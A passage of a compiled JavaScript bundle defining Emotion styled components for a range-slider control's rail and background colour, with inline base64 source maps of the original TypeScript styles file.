NCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30693 var railBackgroundColor = ({
30694 disabled,
30695 railColor
30696 }) => {
30697 return /* @__PURE__ */ css("background:", disabled ? COLORS.ui.backgroundDisabled : railColor || COLORS.theme.gray[300], ";@media ( forced-colors: active ){background:GrayText;}" + (false ? "" : ";label:railBackgroundColor;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWdGVyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sXG5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */");
30698 };
30699 var Rail = /* @__PURE__ */ createStyled("span", false ? {
30700 target: "e1epgpqk10"
30701 } : {
30702 target: "e1epgpqk10",
30703 label: "Rail"
30704 })("left:0;pointer-events:none;right:0;display:block;height:", railHeight, "px;position:absolute;margin-top:", (rangeHeightValue - railHeight) / 2, "px;top:0;border-radius:", config_values_default.radiusFull, ";", railBackgroundColor, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTJGK0IiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2B